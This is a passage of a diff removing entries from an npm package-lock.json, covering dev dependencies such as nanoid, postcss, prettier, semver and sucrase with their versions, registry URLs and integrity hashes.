- "thenify-all": "^1.0.0"
- }
- },
- "node_modules/nanoid": {
- "version": "3.3.7",
- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz",
- "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "bin": {
- "nanoid": "bin/nanoid.cjs"
- },
- "engines": {
- "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
- }
- },
- "node_modules/neo-async": {
- "version": "2.6.2",
- "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
- "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==",
- "dev": true
- },
- "node_modules/node-html-parser": {
- "version": "6.1.13",
- "resolved": "https://registry.npmjs.org/node-html-parser/-/node-html-parser-6.1.13.tgz",
- "integrity": "sha512-qIsTMOY4C/dAa5Q5vsobRpOOvPfC4pB61UVW2uSwZNUp0QU/jCekTal1vMmbO0DgdHeLUJpv/ARmDqErVxA3Sg==",
- "dev": true,
- "dependencies": {
- "css-select": "^5.1.0",
- "he": "1.2.0"
- }
- },
- "node_modules/node-releases": {
- "version": "2.0.14",
- "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.14.tgz",
- "integrity": "sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw==",
- "dev": true
- },
- "node_modules/normalize-path": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
- "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/nth-check": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
- "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
- "dev": true,
- "dependencies": {
- "boolbase": "^1.0.0"
- },
- "funding": {
- "url": "https://github.com/fb55/nth-check?sponsor=1"
- }
- },
- "node_modules/object-assign": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
- "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object-hash": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
- "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
- "dev": true,
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/p-limit": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
- "dev": true,
- "dependencies": {
- "p-try": "^2.0.0"
- },
- "engines": {
- "node": ">=6"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/p-locate": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
- "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
- "dev": true,
- "dependencies": {
- "p-limit": "^2.2.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/p-try": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
- "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
- "dev": true,
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/path-exists": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
- "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/path-key": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
- "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/path-parse": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
- "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
- "dev": true
- },
- "node_modules/path-scurry": {
- "version": "1.10.2",
- "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.10.2.tgz",
- "integrity": "sha512-7xTavNy5RQXnsjANvVvMkEjvloOinkAjv/Z6Ildz9v2RinZ4SBKTWFOVRbaF8p0vpHnyjV/UwNDdKuUv6M5qcA==",
- "dev": true,
- "dependencies": {
- "lru-cache": "^10.2.0",
- "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/picocolors": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
- "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==",
- "dev": true
- },
- "node_modules/picomatch": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
- "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
- "dev": true,
- "engines": {
- "node": ">=8.6"
- },
- "funding": {
- "url": "https://github.com/sponsors/jonschlinkert"
- }
- },
- "node_modules/pify": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
- "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/pirates": {
- "version": "4.0.6",
- "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz",
- "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==",
- "dev": true,
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/pkg-dir": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
- "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
- "dev": true,
- "dependencies": {
- "find-up": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/postcss": {
- "version": "8.4.38",
- "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.38.tgz",
- "integrity": "sha512-Wglpdk03BSfXkHoQa3b/oulrotAkwrlLDRSOb9D0bN86FdRyE9lppSp33aHNPgBa0JKCoB+drFLZkQoRRYae5A==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/postcss"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "nanoid": "^3.3.7",
- "picocolors": "^1.0.0",
- "source-map-js": "^1.2.0"
- },
- "engines": {
- "node": "^10 || ^12 || >=14"
- }
- },
- "node_modules/postcss-import": {
- "version": "15.1.0",
- "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
- "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.0.0",
- "read-cache": "^1.0.0",
- "resolve": "^1.1.7"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "postcss": "^8.0.0"
- }
- },
- "node_modules/postcss-js": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz",
- "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==",
- "dev": true,
- "dependencies": {
- "camelcase-css": "^2.0.1"
- },
- "engines": {
- "node": "^12 || ^14 || >= 16"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- "peerDependencies": {
- "postcss": "^8.4.21"
- }
- },
- "node_modules/postcss-load-config": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz",
- "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "lilconfig": "^3.0.0",
- "yaml": "^2.3.4"
- },
- "engines": {
- "node": ">= 14"
- },
- "peerDependencies": {
- "postcss": ">=8.0.9",
- "ts-node": ">=9.0.0"
- },
- "peerDependenciesMeta": {
- "postcss": {
- "optional": true
- },
- "ts-node": {
- "optional": true
- }
- }
- },
- "node_modules/postcss-load-config/node_modules/lilconfig": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.1.tgz",
- "integrity": "sha512-O18pf7nyvHTckunPWCV1XUNXU1piu01y2b7ATJ0ppkUkk8ocqVWBrYjJBCwHDjD/ZWcfyrA0P4gKhzWGi5EINQ==",
- "dev": true,
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/antonk52"
- }
- },
- "node_modules/postcss-nested": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz",
- "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==",
- "dev": true,
- "dependencies": {
- "postcss-selector-parser": "^6.0.11"
- },
- "engines": {
- "node": ">=12.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- "peerDependencies": {
- "postcss": "^8.2.14"
- }
- },
- "node_modules/postcss-selector-parser": {
- "version": "6.0.16",
- "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.16.tgz",
- "integrity": "sha512-A0RVJrX+IUkVZbW3ClroRWurercFhieevHB38sr2+l9eUClMqome3LmEmnhlNy+5Mr2EYN6B2Kaw9wYdd+VHiw==",
- "dev": true,
- "dependencies": {
- "cssesc": "^3.0.0",
- "util-deprecate": "^1.0.2"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/postcss-value-parser": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
- "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
- "dev": true
- },
- "node_modules/prettier": {
- "version": "3.2.5",
- "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.2.5.tgz",
- "integrity": "sha512-3/GWa9aOC0YeD7LUfvOG2NiDyhOWRvt1k+rcKhOuYnMY24iiCphgneUfJDyFXd6rZCAnuLBv6UeAULtrhT/F4A==",
- "dev": true,
- "bin": {
- "prettier": "bin/prettier.cjs"
- },
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/prettier/prettier?sponsor=1"
- }
- },
- "node_modules/punycode": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
- "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
- "dev": true,
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/queue-microtask": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
- "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ]
- },
- "node_modules/randombytes": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
- "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
- "dev": true,
- "dependencies": {
- "safe-buffer": "^5.1.0"
- }
- },
- "node_modules/read-cache": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
- "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
- "dev": true,
- "dependencies": {
- "pify": "^2.3.0"
- }
- },
- "node_modules/readdirp": {
- "version": "3.6.0",
- "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
- "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
- "dev": true,
- "dependencies": {
- "picomatch": "^2.2.1"
- },
- "engines": {
- "node": ">=8.10.0"
- }
- },
- "node_modules/rechoir": {
- "version": "0.8.0",
- "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.8.0.tgz",
- "integrity": "sha512-/vxpCXddiX8NGfGO/mTafwjq4aFa/71pvamip0++IQk3zG8cbCj0fifNPrjjF1XMXUne91jL9OoxmdykoEtifQ==",
- "dev": true,
- "dependencies": {
- "resolve": "^1.20.0"
- },
- "engines": {
- "node": ">= 10.13.0"
- }
- },
- "node_modules/resolve": {
- "version": "1.22.8",
- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
- "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==",
- "dev": true,
- "dependencies": {
- "is-core-module": "^2.13.0",
- "path-parse": "^1.0.7",
- "supports-preserve-symlinks-flag": "^1.0.0"
- },
- "bin": {
- "resolve": "bin/resolve"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/resolve-cwd": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz",
- "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==",
- "dev": true,
- "dependencies": {
- "resolve-from": "^5.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/resolve-from": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
- "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/reusify": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
- "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
- "dev": true,
- "engines": {
- "iojs": ">=1.0.0",
- "node": ">=0.10.0"
- }
- },
- "node_modules/run-parallel": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
- "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "dependencies": {
- "queue-microtask": "^1.2.2"
- }
- },
- "node_modules/safe-buffer": {
- "version": "5.2.1",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
- "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ]
- },
- "node_modules/schema-utils": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
- "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
- "dev": true,
- "dependencies": {
- "@types/json-schema": "^7.0.8",
- "ajv": "^6.12.5",
- "ajv-keywords": "^3.5.2"
- },
- "engines": {
- "node": ">= 10.13.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/webpack"
- }
- },
- "node_modules/semver": {
- "version": "7.6.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
- "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
- "dev": true,
- "dependencies": {
- "lru-cache": "^6.0.0"
- },
- "bin": {
- "semver": "bin/semver.js"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/semver/node_modules/lru-cache": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
- "dev": true,
- "dependencies": {
- "yallist": "^4.0.0"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/serialize-javascript": {
- "version": "6.0.2",
- "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz",
- "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==",
- "dev": true,
- "dependencies": {
- "randombytes": "^2.1.0"
- }
- },
- "node_modules/shallow-clone": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz",
- "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==",
- "dev": true,
- "dependencies": {
- "kind-of": "^6.0.2"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/shebang-command": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
- "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
- "dev": true,
- "dependencies": {
- "shebang-regex": "^3.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/shebang-regex": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
- "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/signal-exit": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz",
- "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==",
- "dev": true,
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/source-map": {
- "version": "0.6.1",
- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/source-map-js": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.0.tgz",
- "integrity": "sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/source-map-support": {
- "version": "0.5.21",
- "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
- "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
- "dev": true,
- "dependencies": {
- "buffer-from": "^1.0.0",
- "source-map": "^0.6.0"
- }
- },
- "node_modules/string-width": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
- "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
- "dev": true,
- "dependencies": {
- "eastasianwidth": "^0.2.0",
- "emoji-regex": "^9.2.2",
- "strip-ansi": "^7.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/string-width-cjs": {
- "name": "string-width",
- "version": "4.2.3",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
- "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
- "dev": true,
- "dependencies": {
- "emoji-regex": "^8.0.0",
- "is-fullwidth-code-point": "^3.0.0",
- "strip-ansi": "^6.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/string-width-cjs/node_modules/ansi-regex": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
- "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/string-width-cjs/node_modules/emoji-regex": {
- "version": "8.0.0",
- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
- "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
- "dev": true
- },
- "node_modules/string-width-cjs/node_modules/strip-ansi": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
- "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
- "dev": true,
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/strip-ansi": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
- "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
- "dev": true,
- "dependencies": {
- "ansi-regex": "^6.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/strip-ansi?sponsor=1"
- }
- },
- "node_modules/strip-ansi-cjs": {
- "name": "strip-ansi",
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
- "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
- "dev": true,
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/strip-ansi-cjs/node_modules/ansi-regex": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
- "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
- "dev": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/sucrase": {
- "version": "3.35.0",
- "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.0.tgz",
- "integrity": "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==",
- "dev": true,
- "dependencies": {
- "@jridgewell/gen-mapping": "^0.3.2",
- "commander": "^4.0.0",
- "glob": "^10.3.10",
- "lines-and-columns": "^1.1.6",
- "mz": "^2.7.0",
- "pirates": "^4.0.1",
- "ts-interface-checker": "^0.1.9"
- },
- "bin": {
- "sucrase": "bin/sucrase",
- "sucrase-node": "bin/sucrase-node"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- }
- },
- "node_modules/supports-color": {
- "version": "8.1.1",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
- "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
- "dev": true,
- "dependencies": {
- "has-flag": "^4.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/supports-color?sponsor=1"
- }
- },
- "node_modules/supports-preserve-symlinks-flag": {
- "version": "1.0.0",
